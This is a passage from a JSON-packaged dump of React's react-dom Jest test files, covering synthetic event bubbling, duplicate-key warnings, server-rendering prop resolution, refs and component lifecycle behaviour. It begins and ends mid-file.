c)}\n                {...BUTTON_PROPS}\n              />\n            </div>\n          </div>,\n        );\n      });\n    };\n\n    putListener = async function (node, eventName, listener) {\n      switch (node) {\n        case CHILD:\n          CHILD_PROPS[eventName] = listener;\n          break;\n        case PARENT:\n          PARENT_PROPS[eventName] = listener;\n          break;\n        case GRANDPARENT:\n          GRANDPARENT_PROPS[eventName] = listener;\n          break;\n        case BUTTON:\n          BUTTON_PROPS[eventName] = listener;\n          break;\n      }\n      // Rerender with new event listeners\n      await renderTree();\n    };\n\n    deleteAllListeners = async function (node) {\n      switch (node) {\n        case CHILD:\n          CHILD_PROPS = {};\n          break;\n        case PARENT:\n          PARENT_PROPS = {};\n          break;\n        case GRANDPARENT:\n          GRANDPARENT_PROPS = {};\n          break;\n        case BUTTON:\n          BUTTON_PROPS = {};\n          break;\n      }\n      await renderTree();\n    };\n\n    idCallOrder = [];\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n    container = null;\n  });\n\n  it('should bubble simply', async () => {\n    await renderTree();\n    await putListener(CHILD, ON_CLICK_KEY, recordID.bind(null, CHILD));\n    await putListener(PARENT, ON_CLICK_KEY, recordID.bind(null, PARENT));\n    await putListener(\n      GRANDPARENT,\n      ON_CLICK_KEY,\n      recordID.bind(null, GRANDPARENT),\n    );\n    await act(() => {\n      CHILD.click();\n    });\n    expect(idCallOrder.length).toBe(3);\n    expect(idCallOrder[0]).toBe(CHILD);\n    expect(idCallOrder[1]).toBe(PARENT);\n    expect(idCallOrder[2]).toBe(GRANDPARENT);\n  });\n\n  it('should bubble to the right handler after an update', async () => {\n    await renderTree();\n    await putListener(\n      GRANDPARENT,\n      ON_CLICK_KEY,\n      recordID.bind(null, 'GRANDPARENT'),\n    );\n    await putListener(PARENT, ON_CLICK_KEY, recordID.bind(null, 'PARENT'));\n    await putListener(CHILD, ON_CLICK_KEY, recordID.bind(null, 'CHILD'));\n    await act(() => {\n      CHILD.click();\n    });\n    expect(idCallOrder).toEqual(['CHILD', 'PARENT', 'GRANDPARENT']);\n\n    idCallOrder = [];\n\n    // Update just the grand parent without updating the child.\n    await putListener(\n      GRANDPARENT,\n      ON_CLICK_KEY,\n      recordID.bind(null, 'UPDATED_GRANDPARENT'),\n    );\n\n    await act(() => {\n      CHILD.click();\n    });\n    expect(idCallOrder).toEqual(['CHILD', 'PARENT', 'UPDATED_GRANDPARENT']);\n  });\n\n  it('should continue bubbling if an error is thrown', async () => {\n    await renderTree();\n    await putListener(CHILD, ON_CLICK_KEY, recordID.bind(null, CHILD));\n    await putListener(PARENT, ON_CLICK_KEY, function (event) {\n      recordID(PARENT);\n      throw new Error('Handler interrupted');\n    });\n    await putListener(\n      GRANDPARENT,\n      ON_CLICK_KEY,\n      recordID.bind(null, GRANDPARENT),\n    );\n    const errorHandler = jest.fn(event => {\n      event.preventDefault();\n    });\n    window.addEventListener('error', errorHandler);\n    try {\n      CHILD.click();\n      expect(idCallOrder.length).toBe(3);\n      expect(idCallOrder[0]).toBe(CHILD);\n      expect(idCallOrder[1]).toBe(PARENT);\n      expect(idCallOrder[2]).toBe(GRANDPARENT);\n      expect(errorHandler).toHaveBeenCalledTimes(1);\n      expect(errorHandler.mock.calls[0][0]).toEqual(\n        expect.objectContaining({\n          error: expect.any(Error),\n          message: 'Handler interrupted',\n        }),\n      );\n    } finally {\n      window.removeEventListener('error', errorHandler);\n    }\n  });\n\n  it('should set currentTarget', async () => {\n    await renderTree();\n    await putListener(CHILD, ON_CLICK_KEY, function (event) {\n      recordID(CHILD);\n      expect(event.currentTarget).toBe(CHILD);\n    });\n    await putListener(PARENT, ON_CLICK_KEY, function (event) {\n      recordID(PARENT);\n      expect(event.currentTarget).toBe(PARENT);\n    });\n    await putListener(GRANDPARENT, ON_CLICK_KEY, function (event) {\n      recordID(GRANDPARENT);\n      expect(event.currentTarget).toBe(GRANDPARENT);\n    });\n    await act(() => {\n      CHILD.click();\n    });\n    expect(idCallOrder.length).toBe(3);\n    expect(idCallOrder[0]).toBe(CHILD);\n    expect(idCallOrder[1]).toBe(PARENT);\n    expect(idCallOrder[2]).toBe(GRANDPARENT);\n  });\n\n  it('should support stopPropagation()', async () => {\n    await renderTree();\n    await putListener(CHILD, ON_CLICK_KEY, recordID.bind(null, CHILD));\n    await putListener(\n      PARENT,\n      ON_CLICK_KEY,\n      recordIDAndStopPropagation.bind(null, PARENT),\n    );\n    await putListener(\n      GRANDPARENT,\n      ON_CLICK_KEY,\n      recordID.bind(null, GRANDPARENT),\n    );\n    await act(() => {\n      CHILD.click();\n    });\n    expect(idCallOrder.length).toBe(2);\n    expect(idCallOrder[0]).toBe(CHILD);\n    expect(idCallOrder[1]).toBe(PARENT);\n  });\n\n  it('should support overriding .isPropagationStopped()', async () => {\n    await renderTree();\n    // Ew. See D4504876.\n    await putListener(CHILD, ON_CLICK_KEY, recordID.bind(null, CHILD));\n    await putListener(PARENT, ON_CLICK_KEY, function (e) {\n      recordID(PARENT, e);\n      // This stops React bubbling but avoids touching the native event\n      e.isPropagationStopped = () => true;\n    });\n    await putListener(\n      GRANDPARENT,\n      ON_CLICK_KEY,\n      recordID.bind(null, GRANDPARENT),\n    );\n    await act(() => {\n      CHILD.click();\n    });\n    expect(idCallOrder.length).toBe(2);\n    expect(idCallOrder[0]).toBe(CHILD);\n    expect(idCallOrder[1]).toBe(PARENT);\n  });\n\n  it('should stop after first dispatch if stopPropagation', async () => {\n    await renderTree();\n    await putListener(\n      CHILD,\n      ON_CLICK_KEY,\n      recordIDAndStopPropagation.bind(null, CHILD),\n    );\n    await putListener(PARENT, ON_CLICK_KEY, recordID.bind(null, PARENT));\n    await putListener(\n      GRANDPARENT,\n      ON_CLICK_KEY,\n      recordID.bind(null, GRANDPARENT),\n    );\n    await act(() => {\n      CHILD.click();\n    });\n    expect(idCallOrder.length).toBe(1);\n    expect(idCallOrder[0]).toBe(CHILD);\n  });\n\n  it('should not stopPropagation if false is returned', async () => {\n    await renderTree();\n    await putListener(\n      CHILD,\n      ON_CLICK_KEY,\n      recordIDAndReturnFalse.bind(null, CHILD),\n    );\n    await putListener(PARENT, ON_CLICK_KEY, recordID.bind(null, PARENT));\n    await putListener(\n      GRANDPARENT,\n      ON_CLICK_KEY,\n      recordID.bind(null, GRANDPARENT),\n    );\n    await act(() => {\n      CHILD.click();\n    });\n    expect(idCallOrder.length).toBe(3);\n    expect(idCallOrder[0]).toBe(CHILD);\n    expect(idCallOrder[1]).toBe(PARENT);\n    expect(idCallOrder[2]).toBe(GRANDPARENT);\n  });\n\n  /**\n   * The entire event registration state of the world should be \"locked-in\" at\n   * the time the event occurs. This is to resolve many edge cases that come\n   * about from a listener on a lower-in-DOM node causing structural changes at\n   * places higher in the DOM. If this lower-in-DOM node causes new content to\n   * be rendered at a place higher-in-DOM, we need to be careful not to invoke\n   * these new listeners.\n   */\n\n  it('should invoke handlers that were removed while bubbling', async () => {\n    await renderTree();\n    const handleParentClick = jest.fn();\n    const handleChildClick = async function (event) {\n      await deleteAllListeners(PARENT);\n    };\n    await putListener(CHILD, ON_CLICK_KEY, handleChildClick);\n    await putListener(PARENT, ON_CLICK_KEY, handleParentClick);\n    await act(() => {\n      CHILD.click();\n    });\n    expect(handleParentClick).toHaveBeenCalledTimes(1);\n  });\n\n  it('should not invoke newly inserted handlers while bubbling', async () => {\n    await renderTree();\n    const handleParentClick = jest.fn();\n    const handleChildClick = async function (event) {\n      await putListener(PARENT, ON_CLICK_KEY, handleParentClick);\n    };\n    await putListener(CHILD, ON_CLICK_KEY, handleChildClick);\n    await act(() => {\n      CHILD.click();\n    });\n    expect(handleParentClick).toHaveBeenCalledTimes(0);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactChildReconciler-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n// NOTE: We're explicitly not using JSX here. This is intended to test\n// the current stack addendum without having source location added by babel.\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet act;\nlet assertConsoleErrorDev;\n\ndescribe('ReactChildReconciler', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    ({act, assertConsoleErrorDev} = require('internal-test-utils'));\n  });\n\n  function createIterable(array) {\n    return {\n      '@@iterator': function () {\n        let i = 0;\n        return {\n          next() {\n            const next = {\n              value: i < array.length ? array[i] : undefined,\n              done: i === array.length,\n            };\n            i++;\n            return next;\n          },\n        };\n      },\n    };\n  }\n\n  function makeIterableFunction(value) {\n    const fn = () => {};\n    fn['@@iterator'] = function iterator() {\n      let timesCalled = 0;\n      return {\n        next() {\n          const done = timesCalled++ > 0;\n          return {done, value: done ? undefined : value};\n        },\n      };\n    };\n    return fn;\n  }\n\n  it('does not treat functions as iterables', async () => {\n    const iterableFunction = makeIterableFunction('foo');\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <div>\n          <h1>{iterableFunction}</h1>\n        </div>,\n      );\n    });\n    assertConsoleErrorDev([\n      'Functions are not valid as a React child. ' +\n        'This may happen if you return fn instead of <fn /> from render. ' +\n        'Or maybe you meant to call this function rather than return it.\\n' +\n        '  <h1>{fn}</h1>\\n' +\n        '    in h1 (at **)',\n    ]);\n    const node = container.firstChild;\n\n    expect(node.innerHTML).toContain(''); // h1\n  });\n\n  it('warns for duplicated array keys', async () => {\n    class Component extends React.Component {\n      render() {\n        return <div>{[<div key=\"1\" />, <div key=\"1\" />]}</div>;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Component />);\n    });\n    assertConsoleErrorDev([\n      'Encountered two children with the same key, `1`. ' +\n        'Keys should be unique so that components maintain their identity across updates. ' +\n        'Non-unique keys may cause children to be duplicated and/or omitted — ' +\n        'the behavior is unsupported and could change in a future version.\\n' +\n        '    in div (at **)\\n' +\n        '    in Component (at **)',\n    ]);\n  });\n\n  it('warns for duplicated array keys with component stack info', async () => {\n    class Component extends React.Component {\n      render() {\n        return <div>{[<div key=\"1\" />, <div key=\"1\" />]}</div>;\n      }\n    }\n\n    class Parent extends React.Component {\n      render() {\n        return React.cloneElement(this.props.child);\n      }\n    }\n\n    class GrandParent extends React.Component {\n      render() {\n        return <Parent child={<Component />} />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<GrandParent />);\n    });\n    assertConsoleErrorDev([\n      'Encountered two children with the same key, `1`. ' +\n        'Keys should be unique so that components maintain their identity ' +\n        'across updates. Non-unique keys may cause children to be ' +\n        'duplicated and/or omitted — the behavior is unsupported and ' +\n        'could change in a future version.\\n' +\n        '    in div (at **)\\n' +\n        '    in Component (at **)\\n' +\n        '    in GrandParent (at **)',\n    ]);\n  });\n\n  it('warns for duplicated iterable keys', async () => {\n    class Component extends React.Component {\n      render() {\n        return <div>{createIterable([<div key=\"1\" />, <div key=\"1\" />])}</div>;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Component />);\n    });\n    assertConsoleErrorDev([\n      'Encountered two children with the same key, `1`. ' +\n        'Keys should be unique so that components maintain their identity ' +\n        'across updates. Non-unique keys may cause children to be ' +\n        'duplicated and/or omitted — the behavior is unsupported and ' +\n        'could change in a future version.\\n' +\n        '    in div (at **)\\n' +\n        '    in Component (at **)',\n    ]);\n  });\n\n  it('warns for duplicated iterable keys with component stack info', async () => {\n    class Component extends React.Component {\n      render() {\n        return <div>{createIterable([<div key=\"1\" />, <div key=\"1\" />])}</div>;\n      }\n    }\n\n    class Parent extends React.Component {\n      render() {\n        return React.cloneElement(this.props.child);\n      }\n    }\n\n    class GrandParent extends React.Component {\n      render() {\n        return <Parent child={<Component />} />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<GrandParent />);\n    });\n    assertConsoleErrorDev([\n      'Encountered two children with the same key, `1`. ' +\n        'Keys should be unique so that components maintain their identity ' +\n        'across updates. Non-unique keys may cause children to be ' +\n        'duplicated and/or omitted — the behavior is unsupported and ' +\n        'could change in a future version.\\n' +\n        '    in div (at **)\\n' +\n        '    in Component (at **)\\n' +\n        '    in GrandParent (at **)',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactClassComponentPropResolutionFizz-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nimport {insertNodesAndExecuteScripts} from '../test-utils/FizzTestUtils';\nimport {patchMessageChannel} from '../../../../scripts/jest/patchMessageChannel';\n\n// Polyfills for test environment\nglobal.ReadableStream =\n  require('web-streams-polyfill/ponyfill/es6').ReadableStream;\nglobal.TextEncoder = require('util').TextEncoder;\n\nlet React;\nlet ReactDOMServer;\nlet Scheduler;\nlet assertLog;\nlet container;\nlet serverAct;\n\ndescribe('ReactClassComponentPropResolutionFizz', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    Scheduler = require('scheduler');\n    patchMessageChannel();\n\n    React = require('react');\n    ReactDOMServer = require('react-dom/server.browser');\n    assertLog = require('internal-test-utils').assertLog;\n    serverAct = require('internal-test-utils').serverAct;\n    container = document.createElement('div');\n    document.body.appendChild(container);\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n  });\n\n  async function readIntoContainer(stream) {\n    const reader = stream.getReader();\n    let result = '';\n    while (true) {\n      const {done, value} = await reader.read();\n      if (done) {\n        break;\n      }\n      result += Buffer.from(value).toString('utf8');\n    }\n    const temp = document.createElement('div');\n    temp.innerHTML = result;\n    insertNodesAndExecuteScripts(temp, container, null);\n  }\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  it('resolves ref and default props before calling lifecycle methods', async () => {\n    function getPropKeys(props) {\n      return Object.keys(props).join(', ');\n    }\n\n    class Component extends React.Component {\n      constructor(props) {\n        super(props);\n        Scheduler.log('constructor: ' + getPropKeys(props));\n      }\n      UNSAFE_componentWillMount() {\n        Scheduler.log('componentWillMount: ' + getPropKeys(this.props));\n      }\n      render() {\n        return <Text text={'render: ' + getPropKeys(this.props)} />;\n      }\n    }\n\n    Component.defaultProps = {\n      default: 'yo',\n    };\n\n    // `ref` should never appear as a prop. `default` always should.\n\n    const ref = React.createRef();\n    const stream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(<Component text=\"Yay\" ref={ref} />),\n    );\n    await readIntoContainer(stream);\n\n    assertLog([\n      'constructor: text, default',\n      'componentWillMount: text, default',\n      'render: text, default',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactComponent-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet ReactDOMServer;\nlet act;\nlet assertConsoleErrorDev;\n\ndescribe('ReactComponent', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMServer = require('react-dom/server');\n    act = require('internal-test-utils').act;\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n  });\n\n  // @gate !disableLegacyMode\n  it('should throw on invalid render targets in legacy roots', () => {\n    const container = document.createElement('div');\n    // jQuery objects are basically arrays; people often pass them in by mistake\n    expect(function () {\n      ReactDOM.render(<div />, [container]);\n    }).toThrowError(/Target container is not a DOM element./);\n\n    expect(function () {\n      ReactDOM.render(<div />, null);\n    }).toThrowError(/Target container is not a DOM element./);\n  });\n\n  it('should throw (in dev) when children are mutated during render', async () => {\n    function Wrapper(props) {\n      props.children[1] = <p key={1} />; // Mutation is illegal\n      return <div>{props.children}</div>;\n    }\n    if (__DEV__) {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await expect(\n        act(() => {\n          root.render(\n            <Wrapper>\n              <span key={0} />\n              <span key={1} />\n              <span key={2} />\n            </Wrapper>,\n          );\n        }),\n      ).rejects.toThrowError(/Cannot assign to read only property.*/);\n    } else {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(\n          <Wrapper>\n            <span key={0} />\n            <span key={1} />\n            <span key={2} />\n          </Wrapper>,\n        );\n      });\n    }\n  });\n\n  it('should throw (in dev) when children are mutated during update', async () => {\n    class Wrapper extends React.Component {\n      componentDidMount() {\n        this.props.children[1] = <p key={1} />; // Mutation is illegal\n        this.forceUpdate();\n      }\n\n      render() {\n        return <div>{this.props.children}</div>;\n      }\n    }\n\n    if (__DEV__) {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await expect(\n        act(() => {\n          root.render(\n            <Wrapper>\n              <span key={0} />\n              <span key={1} />\n              <span key={2} />\n            </Wrapper>,\n          );\n        }),\n      ).rejects.toThrowError(/Cannot assign to read only property.*/);\n    } else {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(\n          <Wrapper>\n            <span key={0} />\n            <span key={1} />\n            <span key={2} />\n          </Wrapper>,\n        );\n      });\n    }\n  });\n\n  it('should not have string refs on unmounted components', async () => {\n    class Parent extends React.Component {\n      render() {\n        return (\n          <Child>\n            <div ref=\"test\" />\n          </Child>\n        );\n      }\n\n      componentDidMount() {\n        expect(this.refs && this.refs.test).toEqual(undefined);\n      }\n    }\n\n    class Child extends React.Component {\n      render() {\n        return <div />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Parent child={<span />} />);\n    });\n  });\n\n  it('should support callback-style refs', async () => {\n    const innerObj = {};\n    const outerObj = {};\n\n    class Wrapper extends React.Component {\n      getObject = () => {\n        return this.props.object;\n      };\n\n      render() {\n        return <div>{this.props.children}</div>;\n      }\n    }\n\n    let mounted = false;\n\n    class Component extends React.Component {\n      render() {\n        const inner = (\n          <Wrapper object={innerObj} ref={c => (this.innerRef = c)} />\n        );\n        const outer = (\n          <Wrapper object={outerObj} ref={c => (this.outerRef = c)}>\n            {inner}\n          </Wrapper>\n        );\n        return outer;\n      }\n\n      componentDidMount() {\n        expect(this.innerRef.getObject()).toEqual(innerObj);\n        expect(this.outerRef.getObject()).toEqual(outerObj);\n        mounted = true;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Component />);\n    });\n\n    expect(mounted).toBe(true);\n  });\n\n  it('should support object-style refs', async () => {\n    const innerObj = {};\n    const outerObj = {};\n\n    class Wrapper extends React.Component {\n      getObject = () => {\n        return this.props.object;\n      };\n\n      render() {\n        return <div>{this.props.children}</div>;\n      }\n    }\n\n    let mounted = false;\n\n    class Component extends React.Component {\n      constructor() {\n        super();\n        this.innerRef = React.createRef();\n        this.outerRef = React.createRef();\n      }\n      render() {\n        const inner = <Wrapper object={innerObj} ref={this.innerRef} />;\n        const outer = (\n          <Wrapper object={outerObj} ref={this.outerRef}>\n            {inner}\n          </Wrapper>\n        );\n        return outer;\n      }\n\n      componentDidMount() {\n        expect(this.innerRef.current.getObject()).toEqual(innerObj);\n        expect(this.outerRef.current.getObject()).toEqual(outerObj);\n        mounted = true;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Component />);\n    });\n\n    expect(mounted).toBe(true);\n  });\n\n  it('should support new-style refs with mixed-up owners', async () => {\n    class Wrapper extends React.Component {\n      getTitle = () => {\n        return this.props.title;\n      };\n\n      render() {\n        return this.props.getContent();\n      }\n    }\n\n    let mounted = false;\n\n    class Component extends React.Component {\n      getInner = () => {\n        // (With old-style refs, it's impossible to get a ref to this div\n        // because Wrapper is the current owner when this function is called.)\n        return <div className=\"inner\" ref={c => (this.innerRef = c)} />;\n      };\n\n      render() {\n        return (\n          <Wrapper\n            title=\"wrapper\"\n            ref={c => (this.wrapperRef = c)}\n            getContent={this.getInner}\n          />\n        );\n      }\n\n      componentDidMount() {\n        // Check .props.title to make sure we got the right elements back\n        expect(this.wrapperRef.getTitle()).toBe('wrapper');\n        expect(this.innerRef.className).toBe('inner');\n        mounted = true;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<Component />);\n    });\n\n    expect(mounted).toBe(true);\n  });\n\n  it('should call refs at the correct time', async () => {\n    const log = [];\n\n    class Inner extends React.Component {\n      render() {\n        log.push(`inner ${this.props.id} render`);\n        return <div />;\n      }\n\n      componentDidMount() {\n        log.push(`inner ${this.props.id} componentDidMount`);\n      }\n\n      componentDidUpdate() {\n        log.push(`inner ${this.props.id} componentDidUpdate`);\n      }\n\n      componentWillUnmount() {\n        log.push(`inner ${this.props.id} componentWillUnmount`);\n      }\n    }\n\n    class Outer extends React.Component {\n      render() {\n        return (\n          <div>\n            <Inner\n              id={1}\n              ref={c => {\n                log.push(`ref 1 got ${c ? `instance ${c.props.id}` : 'null'}`);\n              }}\n            />\n            <Inner\n              id={2}\n              ref={c => {\n                log.push(`ref 2 got ${c ? `instance ${c.props.id}` : 'null'}`);\n              }}\n            />\n          </div>\n        );\n      }\n\n      componentDidMount() {\n        log.push('outer componentDidMount');\n      }\n\n      componentDidUpdate() {\n        log.push('outer componentDidUpdate');\n      }\n\n      componentWillUnmount() {\n        log.push('outer componentWillUnmount');\n      }\n    }\n\n    // mount, update, unmount\n    const el = document.createElement('div');\n    log.push('start mount');\n    const root = ReactDOMClient.createRoot(el);\n    await act(() => {\n      root.render(<Outer />);\n    });\n    log.push('start update');\n    await act(() => {\n      root.render(<Outer />);\n    });\n    log.push('start unmount');\n    await act(() => {\n      root.unmount();\n    });\n\n    expect(log).toEqual([\n      'start mount',\n      'inner 1 render',\n      'inner 2 render',\n      'inner 1 componentDidMount',\n      'ref 1 got instance 1',\n      'inner 2 componentDidMount',\n      'ref 2 got instance 2',\n      'outer componentDidMount',\n      'start update',\n      // Previous (equivalent) refs get cleared\n      // Fiber renders first, resets refs later\n      'inner 1 render',\n      'inner 2 render',\n      'ref 1 got null',\n      'ref 2 got null',\n      'inner 1 componentDidUpdate',\n      'ref 1 got instance 1',\n      'inner 2 componentDidUpdate',\n      'ref 2 got instance 2',\n      'outer componentDidUpdate',\n      'start unmount',\n      'outer componentWillUnmount',\n      'ref 1 got null',\n      'inner 1 componentWillUnmount',\n      'ref 2 got null',\n      'inner 2 componentWillUnmount',\n    ]);\n  });\n\n  // @gate !disableLegacyMode\n  it('fires the callback after a component is rendered in legacy roots', () => {\n    const callback = jest.fn();\n    const container = document.createElement('div');\n    ReactDOM.render(<div />, container, callback);\n    expect(callback).toHaveBeenCalledTimes(1);\n    ReactDOM.render(<div className=\"foo\" />, container, callback);\n    expect(callback).toHaveBeenCalledTimes(2);\n    ReactDOM.render(<span />, container, callback);\n    expect(callback).toHaveBeenCalledTimes(3);\n  });\n\n  it('throws usefully when rendering badly-typed elements', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    const X = undefined;\n    const XElement = <X />;\n    await expect(async () => {\n      await act(() => {\n        root.render(XElement);\n      });\n    }).rejects.toThrowError(\n      'Element type is invalid: expected a string (for built-in components) ' +\n        'or a class/function (for composite components) but got: undefined.' +\n        (__DEV__\n          ? \" You likely forgot to export your component from the file it's \" +\n            'defined in, or you might have mixed up default and named imports.'\n          : ''),\n    );\n\n    const Y = null;\n    const YElement = <Y />;\n    await expect(async () => {\n      await act(() => {\n        root.render(YElement);\n      });\n    }).rejects.toThrowError(\n      'Element type is invalid: expected a string (for built-in components) ' +\n        'or a class/function (for composite components) but got: null.',\n    );\n\n    const Z = true;\n    const ZElement = <Z />;\n    await expect(async () => {\n      await act(() => {\n        root.render(ZElement);\n      });\n    }).rejects.toThrowError(\n      'Element type is invalid: expected a string (for built-in components) ' +\n        'or a class/function (for composite components) but got: boolean.',\n    );\n  });\n\n  it('includes owner name in the error about badly-typed elements', async () => {\n    const X = undefined;\n\n    function Indirection(props) {\n      return <div>{props.children}</div>;\n    }\n\n    function Bar() {\n      return (\n        <Indirection>\n          <X />\n        </Indirection>\n      );\n    }\n\n    function Foo() {\n      return <Bar />;\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await expect(async () => {\n      await act(() => {\n        root.render(<Foo />);\n      });\n    }).rejects.toThrowError(\n      'Element type is invalid: expected a string (for built-in components) ' +\n        'or a class/function (for composite components) but got: undefined.' +\n        (__DEV__\n          ? \" You likely forgot to export your component from the file it's \" +\n            'defined in, or you might have mixed up default and named imports.' +\n            '\\n\\nCheck the render method of `Bar`.'\n          : ''),\n    );\n  });\n\n  it('throws if a plain object is used as a child', async () => {\n    const children = {\n      x: <span />,\n      y: <span />,\n      z: <span />,\n    };\n    const element = <div>{[children]}</div>;\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await expect(\n      act(() => {\n        root.render(element);\n      }),\n    ).rejects.toThrowError(\n      'Objects are not valid as a React child (found: object with keys {x, y, z}). ' +\n        'If you meant to render a collection of children, use an array instead.',\n    );\n  });\n\n  it('throws if a legacy element is used as a child', async () => {\n    const inlinedElement = {\n      $$typeof: Symbol.for('react.element'),\n      type: 'div',\n      key: null,\n      ref: null,\n      props: {},\n      _owner: null,\n    };\n    const element = <div>{[inlinedElement]}</div>;\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await expect(\n      act(() => {\n        root.render(element);\n      }),\n    ).rejects.toThrowError(\n      'A React Element from an older version of React was rendered. ' +\n        'This is not supported. It can happen if:\\n' +\n        '- Multiple copies of the \"react\" package is used.\\n' +\n        '- A library pre-bundled an old copy of \"react\" or \"react/jsx-runtime\".\\n' +\n        '- A compiler tries to \"inline\" JSX instead of using the runtime.',\n    );\n  });\n\n  it('throws if a plain object even if it is in an owner', async () => {\n    class Foo extends React.Component {\n      render() {\n        const children = {\n          a: <span />,\n          b: <span />,\n          c: <span />,\n        };\n        return <div>{[children]}</div>;\n      }\n    }\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await expect(\n      act(() => {\n        root.render(<Foo />);\n      }),\n    ).rejects.toThrowError(\n      'Objects are not valid as a React child (found: object with keys {a, b, c}).' +\n        ' If you meant to render a collection of children, use an array ' +\n        'instead.',\n    );\n  });\n\n  it('throws if a plain object is used as a child when using SSR', async () => {\n    const children = {\n      x: <span />,\n      y: <span />,\n      z: <span />,\n    };\n    const element = <div>{[children]}</div>;\n    expect(() => {\n      ReactDOMServer.renderToString(element);\n    }).toThrowError(\n      'Objects are not valid as a React child (found: object with keys {x, y, z}). ' +\n        'If you meant to render a collection of children, use ' +\n        'an array instead.',\n    );\n  });\n\n  it('throws if a plain object even if it is in an owner when using SSR', async () => {\n    class Foo extends React.Component {\n      render() {\n        const children = {\n          a: <span />,\n          b: <span />,\n          c: <span />,\n        };\n        return <div>{[children]}</div>;\n      }\n    }\n    const container = document.createElement('div');\n    expect(() => {\n      ReactDOMServer.renderToString(<Foo />, container);\n    }).toThrowError(\n      'Objects are not valid as a React child (found: object with keys {a, b, c}). ' +\n        'If you meant to render a collection of children, use ' +\n        'an array instead.',\n    );\n  });\n\n  describe('with new features', () => {\n    it('warns on function as a return value from a function', async () => {\n      function Foo() {\n        return Foo;\n      }\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Foo />);\n      });\n      assertConsoleErrorDev([\n        'Functions are not valid as a React child. This may happen if ' +\n          'you return Foo instead of <Foo /> from render. ' +\n          'Or maybe you meant to call this function rather than return it.\\n' +\n          '  <Foo>{Foo}</Foo>\\n' +\n          '    in Foo (at **)',\n      ]);\n    });\n\n    it('warns on function as a return value from a class', async () => {\n      class Foo extends React.Component {\n        render() {\n          return Foo;\n        }\n      }\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<Foo />);\n      });\n      assertConsoleErrorDev([\n        'Functions are not valid as a React child. This may happen if ' +\n          'you return Foo instead of <Foo /> from render. ' +\n          'Or maybe you meant to call this function rather than return it.\\n' +\n          '  <Foo>{Foo}</Foo>\\n' +\n          '    in Foo (at **)',\n      ]);\n    });\n\n    it('warns on function as a child to host component', async () => {\n      function Foo() {\n        return (\n          <div>\n            <span>{Foo}</span>\n          </div>\n        );\n      }\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Foo />);\n      });\n      assertConsoleErrorDev([\n        'Functions are not valid as a React child. This may happen if ' +\n          'you return Foo instead of <Foo /> from render. ' +\n          'Or maybe you meant to call this function rather than return it.\\n' +\n          '  <span>{Foo}</span>\\n' +\n          '    in span (at **)\\n' +\n          '    in Foo (at **)',\n      ]);\n    });\n\n    it('does not warn for function-as-a-child that gets resolved', async () => {\n      function Bar(props) {\n        return props.children();\n      }\n      function Foo() {\n        return <Bar>{() => 'Hello'}</Bar>;\n      }\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Foo />);\n      });\n\n      expect(container.innerHTML).toBe('Hello');\n    